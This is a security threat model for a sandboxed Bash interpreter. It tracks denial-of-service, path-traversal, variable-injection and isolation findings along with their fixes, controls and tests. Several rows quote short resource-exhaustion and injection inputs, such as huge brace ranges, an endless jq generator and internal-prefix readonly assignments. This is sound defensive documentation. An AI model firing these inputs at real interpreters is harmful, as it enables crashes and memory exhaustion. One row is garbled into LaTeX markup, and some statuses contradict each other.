Secure Defaults (TM-LOG-001 to TM-LOG-008): LogConfig::new()redact_sensitive: true, log_script_content: false, log_file_contents: false, max_value_length: 200. Custom patterns via .redact_env("MY_CUSTOM_SECRET").

9.5 Snapshot Security

IDThreatAttackMitigationStatus
TM-SNAP-001Snapshot forgery via public tagAttacker computes valid SHA-256 digest using public BKSNAP01 tagDocument limitation; add keyed HMAC API (to_bytes_keyed/from_bytes_keyed)MITIGATED

from_bytes uses SHA-256(BKSNAP01 || payload) where the tag is a public constant. This detects accidental corruption but does NOT prevent intentional forgery. Any caller with source code access can forge valid snapshots.

from_bytes_keyed uses HMAC-SHA256(secret_key, payload) with a caller-provided key. Use this when snapshots cross trust boundaries (network transfer, shared storage, untrusted input). The keyed API was added in response to issue #1167.

10. Builtin-Specific Threat Coverage

This section documents the security assessment of builtins that do not have individual TM entries because their risk is fully covered by existing controls or is inherently low.

10.1 Pure Computation Builtins (No Additional Risk)

These builtins operate on in-memory data with no resource access beyond what the interpreter already controls. Their risk is bounded by existing limits (input size, command count, timeout, catch_unwind).

BuiltinFunctionWhy Low Risk
base64Encode/decode base64Pure byte transformation; output bounded by input size
md5sum, sha1sum, sha256sumCompute checksumsHash computation on VFS file data; O(n) CPU, bounded by max_file_size
verifyCompute/verify file hashesSame as checksum builtins; reads VFS files only
iconvEncoding conversionPure byte transformation between UTF-8/ASCII/Latin1/UTF-16
hextools (od, xxd, hexdump)Byte-level inspectionFormat VFS file bytes as hex/octal; output bounded by input size
semverVersion string parsingPure string comparison; no recursion or resource access
stringsExtract printable stringsLinear scan of byte data; output bounded by input
fcHistory listingLists virtual session history; no re-execution in VFS environment
logStructured logging outputFormats message to stdout; reads LOG_LEVEL/LOG_FORMAT from env (caller-controlled)
parallelGNU parallel stub (dry-run only)Reports planned commands; does not actually execute them in VFS
retryRetry stub (dry-run only)Reports planned retry config; does not actually re-execute in VFS
inspect (less, file, stat)File inspectionReads VFS files; bounded by max_file_size; less acts as cat

10.2 VFS-Bounded Builtins (Covered by FS Limits)

These builtins read/write VFS files. Their resource consumption is bounded by existing filesystem limits (max_file_size, max_file_count, max_total_bytes).

BuiltinFunctionCovering Controls
patchApply unified diffs to VFS filesVFS path normalization (TM-ESC-001), FS limits (TM-DOS-005/006)
zipCreate BKZIP archives in VFSFS limits (TM-DOS-005); archive size bounded by max_file_size
splitSplit file into piecesFS limits (TM-DOS-006 max_file_count); see TM-DOS-055
csvParse/query CSV dataInput bounded by max_file_size; linear parsing
tomlqQuery TOML dataInput bounded by max_file_size; TOML structure typically shallow
dotenvLoad .env filesVFS read; variable injection risk covered by TM-INJ-018

10.3 Pattern Matching Builtins (Regex/Glob Risk)

BuiltinFunctionCovering Controls
rgRecursive grep (ripgrep-like)Uses regex crate with internal backtrack limits (TM-DOS-025); VFS-only search
globGlob pattern matchingUses glob_match — inherits ExtGlob blowup risk (TM-DOS-031, TM-DOS-054)

10.4 Builtins with Specific Threat Entries

BuiltinThreat IDsSummary
yamlTM-DOS-051Unbounded recursion in custom YAML parser
templateTM-DOS-052, TM-DOS-053, TM-INF-020Recursive rendering; env var exposure
json(covered by serde_json)Uses serde_json with 128-level recursion limit; no custom parser recursion risk
unzipTM-INJ-017Path traversal in archive entry names
dotenvTM-INJ-018Internal variable prefix injection
envsubstTM-INF-019Env var exposure via substitution (caller risk)
timeout(covered by existing limits)Caps timeout at 300s (MAX_TIMEOUT_SECONDS); within execution timeout (TM-DOS-023)

Vulnerability Summary

This section maps former vulnerability IDs to the new threat ID scheme and tracks status.

Mitigated (Previously Critical/High)

Old IDThreat IDVulnerabilityStatus
V1TM-DOS-001Large script inputMITIGATED via max_input_bytes
V2TM-DOS-002Output floodingMITIGATED via command limits
V3TM-DOS-024Parser hangMITIGATED via parser_timeout + max_parser_operations
V4TM-DOS-022Parser recursionMITIGATED via max_ast_depth
V5TM-DOS-018Nested loop multiplicationMITIGATED via max_total_loop_iterations (1M)
V6TM-DOS-021Command sub parser limit bypassMITIGATED via inherited depth/fuel
V7TM-DOS-026Arithmetic recursion overflowMITIGATED via MAX_ARITHMETIC_DEPTH (50)

Open (Critical - Blocks Production)

Threat IDVulnerabilityImpactRecommendation
TM-DOS-029Arithmetic overflow/panicInterpreter crash/hangUse wrapping arithmetic, clamp shift/exponent (FIXED)
TM-ESC-012VFS limit bypass via add_file()/restore()Unlimited VFS writesvalidate_path + check_write_limits on both paths (FIXED)
TM-INJ-009Internal variable namespace injectionBypass readonly, manipulate interpreteris_internal_variable() check on every write path (FIXED)
TM-INJ-012–015Builtin bypass of is_internal_variable()Unauthorized nameref/case attr injection via declare/readonly/local/exportAdd is_internal_variable() check to all builtin insert paths (FIXED)
TM-DOS-043Arithmetic panic in compound assignmentProcess crash (DoS) in debug modewrapping_* ops in execute_arithmetic_with_side_effects (FIXED)
TM-DOS-044Lexer stack overflow on nested $()Process crash (SIGABRT)Depth tracking in read_command_subst_into; nested-subst tests pass at depth 50 (FIXED)

Open (High Priority)

Threat IDVulnerabilityImpactRecommendation
TM-DOS-031ExtGlob exponential blowupCPU exhaustion / stack overflowRecursion-depth cap in glob_match_impl (FIXED)
TM-DOS-041Brace expansion unbounded rangeOOM DoSCap range size in try_expand_range() (FIXED)
TM-DOS-032Tokio runtime per sync call (Python)OS thread/fd exhaustionArc<Runtime> per PyBash/BashTool instance (FIXED)
TM-PY-023Shell injection in deepagents.pyCommand injection within VFSshlex.quote on every interpolated path (FIXED)
TM-PY-024Heredoc content injection in write()Command injection within VFSBASHKIT_EOF_<token_hex(8)> per call (FIXED)
TM-PY-025GIL deadlock in execute_syncPython process deadlockEvery rt.block_on in lib.rs releases the GIL via Python::allow_threads (FIXED)
TM-ISO-004Cross-session env pollution via jqSession isolation breachSame fix as TM-INF-013 (FIXED)
TM-ESC-013OverlayFs upper() exposes unlimited FSVFS limit bypassUpper layer mirrors overlay limits (FIXED)

Open (Medium Priority)

Threat IDVulnerabilityImpactRecommendation
TM-DOS-051YAML parser unbounded recursionStack overflow on deeply nested YAMLdepth arg + MAX_YAML_DEPTH = 100 cap (FIXED)
TM-DOS-052Template engine unbounded recursionStack overflow on deeply nested templatesdepth arg + MAX_TEMPLATE_DEPTH = 100 cap (FIXED)
TM-DOS-054glob --files ExtGlob blowupCPU exhaustion (same as TM-DOS-031)Fix TM-DOS-031 covers this (FIXED)
TM-INJ-017Unzip path traversal within VFSArbitrary VFS file overwritevalidate_extract_entry_path rejects non-Normal components (FIXED)
TM-INJ-018Dotenv internal variable injectionBypass readonly, manipulate interpreterDotenv::execute skips internal-prefix keys (FIXED)
TM-INF-001Env vars may leak secretsInformation disclosureDocument caller responsibility
TM-INJ-008Terminal escapes in outputUI manipulationDocument sanitization need
TM-INJ-010Tar path traversal within VFSArbitrary VFS file overwritearchive.rs rejects entries that don't starts_with(&extract_base) (FIXED)
TM-GIT-014Git branch name path injectionVFS git repo corruptionvalidate_ref_name in git/client.rs (FIXED)
TM-INF-014Real PID leak via $$Host information disclosureReturn virtual PID
TM-INF-015URL credentials in error messagesCredential leaknetwork/allowlist.rs::redact_url (FIXED)
TM-INF-016Internal state in error messagesInfo leak (paths, IPs, TLS)Consistent Display format
TM-DOS-034TOCTOU in append_fileVFS size limit bypassSingle write lock (FIXED)
TM-ISO-005Session-level cumulative counter bypassUnbounded aggregate resources across exec() callsSessionLimits struct (FIXED)
TM-ISO-006No per-instance variable/memory budgetProcess OOM via unbounded HashMap growthMemoryLimits struct (FIXED)
TM-DOS-035OverlayFs limit check upper-onlyCombined size limit bypassUse compute_usage() (FIXED)
TM-DOS-036OverlayFs usage double-countPremature limit rejectionsSubtract overrides (FIXED)
TM-DOS-037OverlayFs chmod CoW bypassLimit bypass via chmodRoute through check_write_limits (FIXED)
TM-DOS-038OverlayFs incomplete whiteoutDeleted files remain visibleCheck ancestor whiteouts (FIXED)
TM-DOS-039Missing validate_path in VFSPath validation gapsvalidate_path() in every InMemoryFs / OverlayFs / MountableFs method (FIXED)
TM-ESC-014Custom builtins lost after first callSecurity wrappers silently removedClone or Arc builtins (FIXED)
TM-PY-026reset() discards security configDoS protections removedPyBash::reset / BashTool::reset rebuild via replace_live_bash_with_builder (FIXED)
TM-INJ-011Cyclic nameref silent resolutionRead/write unintended variablesresolve_nameref() visited-set cycle detection (FIXED)
TM-PY-027py_to_json unbounded recursionStack overflowMAX_NESTING_DEPTH = 64 in json_to_py_inner / py_to_json_inner / MontyObject converters (FIXED)
TM-DOS-040Integer truncation on 32-bitSize check bypassusize::try_from(...).unwrap_or(usize::MAX) (FIXED)
TM-UNI-001Awk parser byte-boundary panic on UnicodeSilent builtin failure on valid inputFix awk parser to use char-boundary-safe indexing
TM-UNI-002Sed parser byte-boundary issuesSilent builtin failure on valid inputAudit and fix sed byte-indexing
TM-UNI-003Zero-width chars in filenamesInvisible/confusable filenamesExtend find_unsafe_path_char() (FIXED)
TM-UNI-011Tag characters in filenamesInvisible content in filenamesExtend find_unsafe_path_char() (FIXED)
TM-UNI-015Expr substr byte-boundary panicSilent failure on multi-byte substrFix to use char-boundary-safe indexing (issue #434)
TM-UNI-016Printf precision mid-char panicSilent failure on multi-byte precision truncationUse is_char_boundary() before slicing (issue #435)
TM-UNI-017Cut/tr byte-level char set parsingMulti-byte chars silently dropped in tr specsSwitch from as_bytes() to char iteration (issue #436)
TM-UNI-018Interpreter arithmetic byte/char confusionWrong operator detection on multi-byte expressionsUse char_indices() instead of .find() + .chars().nth() (issue #437)
TM-UNI-019Network allowlist byte/char confusionWrong path boundary check on multi-byte URLsUse byte offset consistently in URL matching (issue #438)

Open (From 2026-03 Deep Audit — New Findings)

Threat IDVulnerabilityImpactRecommendation
TM-INJ-012declare bypasses is_internal_variable()Unauthorized nameref creation, case conversion injectionAdd is_internal_variable() check (FIXED)
TM-INJ-013readonly bypasses is_internal_variable()Unauthorized nameref creation via readonly _NAMEREF_x=targetAdd is_internal_variable() check (FIXED)
TM-INJ-014local bypasses is_internal_variable()Internal prefix injection in function scopeAdd is_internal_variable() check (FIXED)
TM-INJ-015export bypasses is_internal_variable()Internal prefix injection via exportAdd is_internal_variable() check (FIXED)
TM-INJ-016_ARRAY_READ_ prefix not in is_internal_variable()Arbitrary array creation/overwrite via marker injectionAdd _ARRAY_READ_ prefix to is_internal_variable() (FIXED)
TM-INF-017set and declare -p leak internal markersInternal state disclosure (NAMEREF, READONLY, UPPER, LOWER)Filter is_internal_variable() names from output
TM-INF-018date builtin returns real host timeTimezone fingerprinting, timing correlationBash::builder().fixed_epoch(N) freezes the clock; .epoch_offset(N) shifts it (mutually exclusive, last call wins) via Date::with_fixed_epoch / Date::with_offset_seconds in builtins/date.rs. Default is real clock — callers opt in for sandboxing. Regression tests: tm_inf_018_date::* in tests/threat_model_tests.rs.
TM-DOS-041Brace expansion {N..M} unbounded rangeOOM via {1..999999999}MAX_STATIC_BRACE_RANGE = 100_000 parser-time check (parser/budget.rs, BraceRangeTooLarge); runtime fallback MAX_BRACE_RANGE = 10_000 in try_expand_range treats oversized ranges as literals (FIXED)
TM-DOS-042Brace expansion combinatorial explosionOOM/stack overflow via {1..100}{1..100}{1..100} (1M strings) or {a,b}{a,b}... (deep recursion)expand_braces caps total emitted strings (MAX_BRACE_EXPANSION_TOTAL = 100_000). The count cap alone was insufficient for comma-lists: it is only charged on recursion return, so the first DFS path descended one frame per group with the count still zero and stack-overflowed. Now also bounds recursion depth and cumulative output bytes (MAX_EXPANSION_RESULT_BYTES) so it degrades to a bounded literal result (FIXED)
TM-DOS-043Arithmetic overflow in execute_arithmetic_with_side_effectsPanic (DoS) in debug mode via ((x+=1)) with x=i64::MAXUse wrapping_add/sub/mul (FIXED)
TM-DOS-044Lexer read_command_subst_into stack overflowProcess crash (SIGABRT) via ~50 nested $() in double-quotesAdd depth parameter to read_command_subst_into() (FIXED)
TM-DOS-045OverlayFs symlink() bypasses all limitsUnlimited symlink creation despite max_file_countcheck_write_limits() + validate_path() in symlink path (FIXED)
TM-DOS-046MountableFs has zero validate_path() callsPath validation completely bypassed for mounted filesystemsMountableFs::validate_path runs before every delegation (FIXED)
TM-DOS-047InMemoryFs copy() skips limit check when dest existsTotal VFS bytes can exceed max_total_bytesAlways call check_write_limits(), accounting for size delta (FIXED)
TM-DOS-048InMemoryFs rename() overwrites dirs, orphans childrenVFS corruption — orphaned entries consume memory but are unreachableCheck dest type in rename(), reject file-over-directory per POSIX (FIXED)
TM-DOS-049collect_dirs_recursive has no depth limitDeep recursion on VFS treesCapped using FsLimits::max_path_depth (FIXED)
TM-DOS-050parse_word_string uses default parser limitsCaller-configured tighter limits ignored for parameter expansionPropagate limits through parse_word_string() (FIXED)
TM-PY-028BashTool.reset() in Python drops security configResource limits silently removed after resetBashTool::reset rebuilds via replace_live_bash_with_builder matching PyBash::reset (FIXED)
TM-PY-031ContextVar capture may include sensitive statecopy_context() snapshots all caller ContextVars, not just intended onesAccepted: same semantics as asyncio.Task context inheritance; caller controls what is set

Open (From 2026-03 Blackbox Security Testing)

Threat IDVulnerabilityImpactRecommendation
TM-DOS-056source self-recursion stack overflowProcess crash (SIGABRT)source shares the function call-depth counter (FIXED)
TM-DOS-057sleep bypasses execution timeoutCPU/time exhaustion in all sleep formstokio::time::timeout wrapper around exec(), not cooperative check (FIXED)
TM-DOS-058Single-builtin unbounded outputOOM via seq 1 1000000max_stdout_bytes / max_stderr_bytes in ExecutionLimits (FIXED)
TM-INJ-019unset removes readonly variablesIntegrity bypass — readonly protection defeatedCheck readonly attribute in unset before removal (FIXED)
TM-INJ-020declare overwrites readonly variablesIntegrity bypass — declare X=new overwrites readonly X=oldCheck readonly attribute in declare assignment path (FIXED)
TM-INJ-021export overwrites readonly variablesIntegrity bypass — export X=new overwrites readonly X=oldCheck readonly attribute in export assignment path (FIXED)
TM-ISO-021EXIT trap leaks across exec() callsTrap from exec N fires in exec N+1reset_transient_state() clears traps (FIXED)
TM-ISO-022$? leaks across exec() callsExit code from previous exec visible to nextreset_transient_state() zeroes last_exit_code (FIXED)
TM-ISO-023set -e leaks across exec() callsUnexpected abort — set options from previous exec affect next execSET_OPTION_VARS cleared in reset_transient_state() (FIXED)
TM-ISO-024$? leaks into VFS subprocessFalse set -e failures in VFS script subprocessexecute_script_content resets last_exit_code / nounset_error (FIXED)
TM-INT-007/dev/urandom empty with head -cWeak randomness (empty output)read_file_for_builtin reads virtual devices as Latin-1 (FIXED)
TM-DOS-044Nested $() stack overflow (regression)SIGABRT at depth ~50 despite #492 fixDepth-50 nested-subst test (`finding_nested_cmd_subst_stack_overflow::depth_50_is_bounded$) \text{passes} (\text{FIXED})
\text{TM}-\text{DOS}-088\text{Command} \text{substitution} \text{OOM} \text{via} \text{state} \text{cloning}\text{OOM} \text{at} \text{depth} \text{N} (\text{memory} ≈ \text{N} \times \text{state_size})\text{Dedicated} $max_subst_depthlimit (default 32), separate frommax_function_depth` — FIXED via #1088
TM-DOS-089Command substitution stack overflow via inlined futuresSIGABRT at ~20-30 nested $() levelsBox::pin expand_word and execute_cmd_subst to cap per-level stack — FIXED via #1089
TM-DOS-090shuf unbounded range/repeat materializationOOM/CPU via huge --input-range/--head-count before stdout truncationSample ranges without full collection; reject over-limit output pre-allocation; shuf_resource_tests cover huge range -n 1 and repeat caps (FIXED)
TM-DOS-091SQLite .dump cumulative output bypass.dump built the full schema+rows string before checking max_output_bytes; an attacker controlling many tables/rows could cause memory to grow far beyond the configured output capbounded_append() helper enforces the cap after each schema line and each INSERT row; dispatch() receives the remaining budget (max_output_bytes - stdout.len()) from run_statementsFIXED via #1869
TM-DOS-092Subshell snapshot amplificationDeeply nested ( ... ) keeps CoW state snapshots and call-stack clones alivemax_subshell_depth counter (default 32) bounds live explicit subshell snapshots
TM-DOS-093jq unbounded generator OOM/hangjq -n 'repeat(1)' / range(0;1e18) — the jaq result loop appended every value to an in-memory string with no byte/value/deadline cap; jaq's iterator is synchronous so the async execution timeout cannot preempt it. jq is a core builtin (no opt-in gate)Cap accumulated output at the caller's max_stdout_bytes and poll ExecutionDeadline::is_expired() every 4096 values, aborting with a clean error (builtins/jq/mod.rs) — FIXED
TM-DOS-094Persistent command history memory DoSLong-lived Bash instances can retain, serialize, and list unbounded command history across many exec() callsExecutionLimits caps history entries, retained history bytes, and history output bytes; persisted saves append deltas unless compaction is required — FIXED

Accepted (Low Priority)

Threat IDVulnerabilityImpactRationale
TM-DOS-011Symlinks not followedFunctionality gapBy design - prevents symlink attacks
TM-DOS-025Regex backtrackingCPU exhaustionLinear-time regex engine by default; fancy-regex paths (grep -P, sed) capped by FANCY_BACKTRACK_LIMIT
TM-DOS-033AWK unbounded loopsCPU exhaustion30s timeout backstop
TM-UNI-004Zero-width chars in variable namesVariable confusionMatches Bash behavior
TM-UNI-006Homoglyph filenamesVisual confusionImpractical to fully detect
TM-UNI-008Normalization bypassDuplicate filenamesMatches Linux FS behavior
TM-UNI-014Bidi overrides in script sourceTrojan SourceScripts are untrusted by design

Security Controls Matrix

ControlThreat IDsImplementationTested
Input size limit (10MB)TM-DOS-001limits.rsYes
Command limit (10K)TM-DOS-002, TM-DOS-004, TM-DOS-019limits.rsYes
Loop limit (10K)TM-DOS-016, TM-DOS-017limits.rsYes
Total loop limit (1M)TM-DOS-018limits.rsYes
Function depth (100)TM-DOS-020, TM-DOS-021limits.rsYes
Parser timeout (5s)TM-DOS-024limits.rsYes
Parser fuel (100K ops)TM-DOS-024limits.rsYes
AST depth limit (100)TM-DOS-022limits.rsYes
Child parser limit propagationTM-DOS-021parser/mod.rsYes
Arithmetic depth limit (50)TM-DOS-026interpreter/mod.rsYes
Builtin parser depth limit (100)TM-DOS-027builtins/awk.rs, builtins/jq/Yes
Execution timeout (30s)TM-DOS-023limits.rsYes
Builtin output pre-allocation capsTM-DOS-058, TM-DOS-090limits.rs, builtins/shuf.rsYes
Persistent custom fd capTM-DOS-063limits.rs, interpreter/mod.rsYes
Command history capsTM-DOS-094limits.rs, interpreter/mod.rs, builtins/environ.rsYes
Virtual filesystemTM-ESC-001, TM-ESC-003fs/memory.rsYes
Filesystem limitsTM-DOS-005 to TM-DOS-010, TM-DOS-014fs/limits.rsYes
Path depth limit (100)TM-DOS-012fs/limits.rsYes
Filename length limit (255)TM-DOS-013fs/limits.rsYes
Path length limit (4096)TM-DOS-013fs/limits.rsYes
Path char validationTM-DOS-015fs/limits.rsYes
Zip bomb protectionTM-DOS-007, TM-NET-013builtins/archive.rsYes
Path normalizationTM-ESC-001, TM-INJ-005fs/memory.rsYes
No symlink followingTM-ESC-002, TM-DOS-011fs/memory.rsYes
Network allowlistTM-INF-010, TM-NET-001 to TM-NET-007network/allowlist.rsYes
Domain allowlistTM-NET-015, TM-NET-016, TM-NET-017network/allowlist.rsPlanned
Sandboxed eval/bash/sh, no execTM-ESC-005 to TM-ESC-008, TM-ESC-015, TM-INJ-003interpreter/mod.rsYes
Fail-point testingAll controlssecurity_failpoint_tests.rsYes
Builtin panic catchingTM-INT-001, TM-INT-002, TM-INT-006interpreter/mod.rsYes
Date format validationTM-INT-003builtins/date.rsYes
Error message sanitizationTM-INT-004, TM-INT-005error.rsYes
HTTP response size limitTM-NET-008, TM-NET-012network/client.rsYes
HTTP connect timeoutTM-NET-009network/client.rsYes
HTTP read timeoutTM-NET-010network/client.rsYes
No auto-redirectTM-NET-011, TM-NET-014network/client.rsYes
No host proxyTM-NET-015network/client.rsYes
Log value redactionTM-LOG-001 to TM-LOG-004logging.rsYes
Log injection preventionTM-LOG-005, TM-LOG-006logging.rsYes
Log value truncationTM-LOG-007, TM-LOG-008logging.rsYes
Python resource limitsTM-PY-001 to TM-PY-003builtins/python.rsYes
SQLite opt-in and limitsTM-SQL-001 to TM-SQL-011builtins/sqlite/Yes
Path char validation (bidi)TM-DOS-015, TM-UNI-003, TM-UNI-011fs/limits.rsPartial (bidi yes, zero-width/tags no)
Builtin panic catchingTM-INT-001, TM-UNI-001, TM-UNI-002, TM-UNI-015, TM-UNI-016, TM-UNI-017interpreter/mod.rsYes (catch_unwind)

Open Controls (From 2026-03 Security Audit)

FindingThreat IDsRequired ControlStatus
Wrapping arithmeticTM-DOS-029wrapping_* ops, clamp shift/exponentMITIGATED
VFS limit enforcement on public APITM-ESC-012validate_path() + check_write_limits() in add_file() / restore()MITIGATED
Custom jaq env functionTM-INF-013, TM-ISO-004Read from ctx.env/ctx.variables, not std::envDONE
Internal variable namespace isolationTM-INJ-009is_internal_variable() rejection in every write path; set / declare -p filterMITIGATED
Parser limit propagationTM-DOS-030Parser::with_limits() in eval/source/trap/aliasMITIGATED
ExtGlob depth limitTM-DOS-031Depth parameter in glob_match_impl (interpreter/glob.rs:162,324)MITIGATED
Python wrapper input sanitizationTM-PY-023, TM-PY-024shlex.quote() on every interpolated path; per-call random heredoc delimiter via secrets.token_hex(8)MITIGATED
Tar path validationTM-INJ-010Resolved-path check + starts_with(&extract_base) in archive.rsMITIGATED
Git branch name validationTM-GIT-014validate_ref_name rejects .., control chars, leading /, trailing .lockMITIGATED
GIL release in execute_syncTM-PY-025Python::allow_threads() around every rt.block_on in bashkit-python/src/lib.rsMITIGATED
TOCTOU fix in append_fileTM-DOS-034Single write lock for read-check-writeDONE
OverlayFs combined limit accountingTM-DOS-035, TM-DOS-036Use combined usage for limit checks, subtract overridesNEEDED
OverlayFs chmod CoW limitsTM-DOS-037Route copy-on-write through check_write_limits()NEEDED
OverlayFs recursive whiteoutTM-DOS-038Check ancestor whiteouts in is_whiteout()NEEDED
VFS-wide path validationTM-DOS-039validate_path() in all path-accepting methodsNEEDED
Custom builtin preservationTM-ESC-014Clone builtins instead of std::mem::takeDONE
Python config preservation on resetTM-PY-026PyBash::reset and BashTool::reset rebuild via replace_live_bash_with_builderMITIGATED
JSON conversion depth limitTM-PY-027MAX_NESTING_DEPTH = 64 in json_to_py_inner / py_to_json_innerMITIGATED
Cyclic nameref detectionTM-INJ-011Visited-set in resolve_nameref() breaks the cycle and returns the original nameMITIGATED
Error message sanitization gapsTM-INF-016Consistent Display format, wrap external errorsDONE
32-bit integer safetyTM-DOS-040usize::try_from() for u64 casts in network/client.rs and bashkit-python/src/lib.rsMITIGATED

Open Controls (From 2026-03 Deep Audit)

FindingThreat IDsRequired ControlStatus
Internal prefix injection via builtinsTM-INJ-012 to TM-INJ-015Add is_internal_variable() check to declare, readonly, local, exportNEEDED
Missing _ARRAY_READ_ in prefix guardTM-INJ-016Add prefix to is_internal_variable()NEEDED
Internal marker info leakTM-INF-017Filter internal vars from set and declare -p outputNEEDED
Brace expansion DoSTM-DOS-041, TM-DOS-042Cap range size and total expansion countMITIGATED
Arithmetic overflow in compound assignmentTM-DOS-043Use wrapping_* ops in execute_arithmetic_with_side_effectsNEEDED
Lexer stack overflowTM-DOS-044Depth tracking in read_command_subst_into (lexer) + interpreter call-depth counterMITIGATED
Cmd subst OOM via state cloningTM-DOS-088max_subst_depth limit in ExecutionLimitsDONE
OverlayFs symlink limit bypassTM-DOS-045check_write_limits() + validate_path() in symlink()MITIGATED
MountableFs path validation gapTM-DOS-046validate_path() in all MountableFs methodsMITIGATED
VFS copy/rename semantic bugsTM-DOS-047, TM-DOS-048Fix limit check in copy(), type check in rename()MITIGATED
Date time info leakTM-INF-018fixed_epoch + epoch_offset builder methods (opt-in)MITIGATED
Python BashTool.reset() drops limitsTM-PY-028BashTool::reset rebuilds via replace_live_bash_with_builder matching PyBash::resetMITIGATED
YAML parser depth limitTM-DOS-051depth parameter on parse_yaml_block/map/list with MAX_YAML_DEPTH = 100MITIGATED
Template engine depth limitTM-DOS-052depth parameter on render_template_inner with MAX_TEMPLATE_DEPTH = 100MITIGATED
Unzip path traversal validationTM-INJ-017validate_extract_entry_path rejects non-Normal components in zip_cmd.rsMITIGATED
Dotenv internal variable guardTM-INJ-018is_internal_variable() check in Dotenv::execute (builtins/dotenv.rs:138)MITIGATED
Session-level cumulative countersTM-ISO-005SessionLimits caps cumulative commands and exec() calls across the lifetime of a Bash instanceMITIGATED
Per-instance memory budgetTM-ISO-006MemoryLimits capping variable count, total bytes, array entries, function count, function body bytesMITIGATED
jq file binding amplificationTM-DOS-062MAX_FILE_VAR_REQUESTS and MAX_FILE_VAR_BYTES bound --rawfile / --slurpfile globalsMITIGATED
Heredoc suffix re-injection CPU amplificationTM-DOS-064Charge re-injected heredoc rest-of-line suffix length to parser fuelMITIGATED

All execution counters reset per exec() call. Each script invocation gets a fresh budget; hitting a limit in one call does not affect subsequent calls on the same instance.

ExecutionLimits::new()
    .max_commands(10_000)              // Per-exec() (TM-DOS-002, TM-DOS-004, TM-DOS-019)
    .max_loop_iterations(10_000)       // TM-DOS-016, TM-DOS-017
    .max_total_loop_iterations(1_000_000) // TM-DOS-018 (nested loop cap)
    .max_function_depth(100)           // TM-DOS-020, TM-DOS-021
    .timeout(Duration::from_secs(30))  // TM-DOS-023
    .parser_timeout(Duration::from_secs(5))  // TM-DOS-024
    .max_input_bytes(10_000_000)       // TM-DOS-001 (10MB)
    .max_ast_depth(100)                // TM-DOS-022 (also inherited by child parsers: TM-DOS-021)
    .max_parser_operations(100_000)    // TM-DOS-024 (also inherited by child parsers: TM-DOS-021)
    .max_history_entries(1_000)        // TM-DOS-094
    .max_history_bytes(1_048_576)      // TM-DOS-094
    .max_history_output_bytes(1_048_576) // TM-DOS-094
// Note: MAX_ARITHMETIC_DEPTH (50) is a compile-time constant in interpreter (TM-DOS-026)
// Note: MAX_AWK_PARSER_DEPTH (100) is a compile-time constant in builtins/awk.rs (TM-DOS-027)
// Note: MAX_JQ_JSON_DEPTH (100) is a compile-time constant in builtins/jq/ (TM-DOS-027)
// Note: MAX_FILE_VAR_REQUESTS (128) and MAX_FILE_VAR_BYTES (16MiB) cap jq file bindings (TM-DOS-062)

// Path validation limits (applied via FsLimits):
FsLimits::new()
    .max_path_depth(100)           // TM-DOS-012
    .max_filename_length(255)      // TM-DOS-013
    .max_path_length(4096)         // TM-DOS-013
// Note: validate_path() also rejects control chars and bidi overrides (TM-DOS-015)

Caller Responsibilities

ResponsibilityRelated ThreatsDescription
Sanitize env varsTM-INF-001, TM-INF-019, TM-INF-020Don't pass secrets to untrusted scripts (envsubst/template also expose env)
Use network allowlistTM-INF-010, TM-NET-*Default denies all network access
Sanitize outputTM-INJ-008Filter terminal escapes if displaying output
Set appropriate limitsTM-DOS-*Tune limits for your use case
Sanitize displayed filenamesTM-UNI-003, TM-UNI-006, TM-UNI-011Strip zero-width/invisible/confusable chars before showing to users
Bidi sanitize script displayTM-UNI-014Strip bidi overrides if displaying script source to code reviewers

Testing Coverage

Threat CategoryUnit TestsFail-Point TestsThreat Model TestsFuzz TestsProptest
Resource limits
Filesystem escape-
Injection attacks
Information disclosure--
Network bypass--
HTTP attacks--
Multi-tenant isolation--
Parser edge cases
Custom builtin errors--
Logging security-
Unicode security

Test Files:

  • tests/threat_model_tests.rs - 117 threat-based security tests
  • tests/unicode_security_tests.rs - Unicode security tests (TM-UNI-*)
  • tests/security_failpoint_tests.rs - Fail-point injection tests
  • tests/builtin_error_security_tests.rs - Custom builtin error handling tests (39 tests)
  • tests/network_security_tests.rs - HTTP security tests (53 tests: allowlist, size limits, timeouts)
  • tests/logging_security_tests.rs - Logging security tests (redaction, injection)

Recommendations:

  • Add cargo-fuzz for parser and input handling
  • Add proptest for Unicode string generation against builtin parsers (TM-UNI-001, TM-UNI-002, TM-UNI-015, TM-UNI-016, TM-UNI-017)
  • Add fuzz target for awk/sed/expr/printf/cut/tr with multi-byte Unicode input
  • Add property tests for network allowlist with multi-byte URL paths (TM-UNI-019)

Security Tooling

This section documents the security tools used to detect and prevent vulnerabilities in Bashkit.

Static Analysis Tools

ToolPurposeCI IntegrationFrequency
cargo-auditCVE scanning for dependencies✅ RequiredEvery PR
cargo-denyLicense + advisory checks✅ RequiredEvery PR
cargo-clippyLint with security-focused warnings✅ RequiredEvery PR
cargo-geigerCount unsafe code blocks✅ InformationalEvery PR

cargo-audit scans Cargo.lock against the RustSec Advisory Database; cargo-geiger (--all-features) tracks unsafe code usage to keep it minimal and audited.

Dynamic Analysis Tools

ToolPurposeCI IntegrationFrequency
cargo-fuzzLibFuzzer-based fuzzing✅ ScheduledNightly/Weekly
MiriUndefined behavior detection✅ RequiredEvery PR
proptestProperty-based testing✅ RequiredEvery PR

cargo-fuzz (cargo +nightly fuzz run parser_fuzz) finds crashes/hangs/memory issues in parser and interpreter; Miri (cargo +nightly miri test --lib) detects UB in unsafe code; proptest generates random inputs to test no-panic invariants and boundary conditions.

Memory Safety Tools

ToolPurposeWhen to Use
AddressSanitizer (ASAN)Memory errors, buffer overflowLocal testing, CI (optional)
MiriUB detection in unsafe codeCI required
cargo-carefulExtra UB checksLocal development

Supply Chain Security

ToolPurposeCI Integration
cargo-auditKnown CVE detection✅ Required
cargo-denyLicense compliance✅ Required
DependabotAutomated dependency updatesGitHub-native

Fuzzing Targets

The following components are fuzz-tested for robustness:

TargetFileThreats Mitigated
Parserfuzz/fuzz_targets/parser_fuzz.rsV3 (parser hang), V4 (parser recursion)
Lexerfuzz/fuzz_targets/lexer_fuzz.rsTokenization crashes
Arithmeticfuzz/fuzz_targets/arithmetic_fuzz.rsInteger overflow, parsing errors
Pattern matchingfuzz/fuzz_targets/glob_fuzz.rsGlob/regex DoS

Vulnerability Detection Matrix

Vulnerabilitycargo-auditcargo-fuzzMiriproptestASAN
Known CVEs----
Parser crashes--
Stack overflow--
Buffer overflow--
Undefined behavior----
Integer overflow--
Infinite loops---
Memory leaks---

Python / Monty Security (TM-PY)

Experimental. Monty is an early-stage Python interpreter that may have undiscovered crash or security bugs. Resource limits are enforced by Monty's runtime. This integration should be treated as experimental.

